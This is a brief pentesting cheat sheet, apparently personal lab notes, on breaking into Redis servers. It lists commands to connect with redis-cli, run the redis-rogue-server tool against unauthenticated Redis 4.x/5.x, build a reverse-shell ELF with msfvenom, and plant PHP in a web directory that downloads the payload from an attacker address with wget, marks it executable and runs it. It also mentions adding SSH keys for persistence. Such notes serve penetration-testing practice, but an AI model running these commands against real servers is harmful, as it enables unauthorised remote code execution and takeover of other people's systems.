Redis Jutsus

1. redis-cli -h 192.168.232.69

sudo apt-get install redis-tools

Use redis-cli to login to a redis server.

2. Redis 4.X.X/5.X.X Unauth Vulnerability.

python3 redis-rogue-server.py --rhost 192.168.232.69  --rport 6379 --lhost 192.168.49.232 --lport 6379

If version starts with 4 or 5 and redis server is unauthenticated, try redis-rogue-server first. https://github.com/n0b0dyCN/redis-rogue-server

3. Write Access to a Web Directory

Add a php file to the web directory using redis.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.6.49.65  LPORT=443 -f elf
php exec('wget http://10.6.49.65/shell.elf'); 
php exec('chmod +x shell.elf'); 
php exec('./shell.elf'); 

4. SSH Keys

You can add an SSH key if you have write access to a directory. Sometimes /home/redis can exist.

More Info Here: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis